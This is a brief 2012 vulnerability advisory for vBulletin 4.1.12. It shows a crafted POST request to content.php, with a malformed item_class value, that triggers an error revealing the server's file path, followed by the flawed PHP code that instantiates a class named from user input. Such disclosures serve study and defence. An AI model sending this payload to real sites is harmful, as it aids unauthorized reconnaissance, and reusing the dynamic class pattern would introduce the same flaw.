vBulletin 4.1.12 Path Disclosure

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[ TITLE ....... ][ vBulletin 4.1.12 - information disclosure for logged in users  
[ DATE ........ ][ 30.04.2012  
[ AUTOHR ...... ][ http://hauntit.blogspot.com  
[ SOFT LINK ... ][ http://vbulletin.com  
[ VERSION ..... ][   
[ TESTED ON ... ][ LAMP  
[ ----------------------------------------------------------------------- [  
  
[ 1. What is this?  
[ 2. What is the type of vulnerability?  
[ 3. Where is bug :)  
[ 4. More...  
  
[--------------------------------------------[  
[ 1. What is this?  
This is very nice CMS, You should try it! ;)  
  
[--------------------------------------------[  
[ 2. What is the type of vulnerability?  
Information disclosure bug.  
  
[--------------------------------------------[  
[ 3. Where is bug :)  
  
...from Burp...  
POST /vb/content.php?1-the-front-page/addcontent HTTP/1.1  
Host: localhost  
(...)  
contenttypeid=hello&item_type=content&item_class=HERE;]&item_id=hello&s=&securitytoken=&nodeid=hello  
...from Burp...  
  
Response should be:  
...from Burp...  
HTTP/1.1 200 OK  
Date: Mon, 30 Apr 2012 06:58:00 GMT  
Server: Apache/2.2.17 (Ubuntu)  
X-Powered-By: PHP/5.3.5-1ubuntu7.7  
Vary: Accept-Encoding  
Connection: close  
Content-Type: text/html  
Content-Length: 147  
  
<br />  
<b>Fatal error</b>: Class 'vBForum_Content_Post' not found in <b>/home/kuba/www/vb/content.php</b> on line <b>176</b><br />  
  
...from Burp...  
  
So line 176 (and friends):  
...cut...  
172 public static function create($package, $class, $contentid = false)  
173 {  
174 $class = $package . '_Content_' . $class;  
175   
176 return new $class($contentid);  
177 }  
...cut...  
  
[--------------------------------------------[  
[ 4. More...  
  
- http://hauntit.blogspot.com  
- http://www.vbulletin.com  
- http://www.google.com  
- http://portswigger.net  
[  
[--------------------------------------------[  
[ Ask me about new projects @ mail. ;)  
]  
[ Best regards  
[   
  
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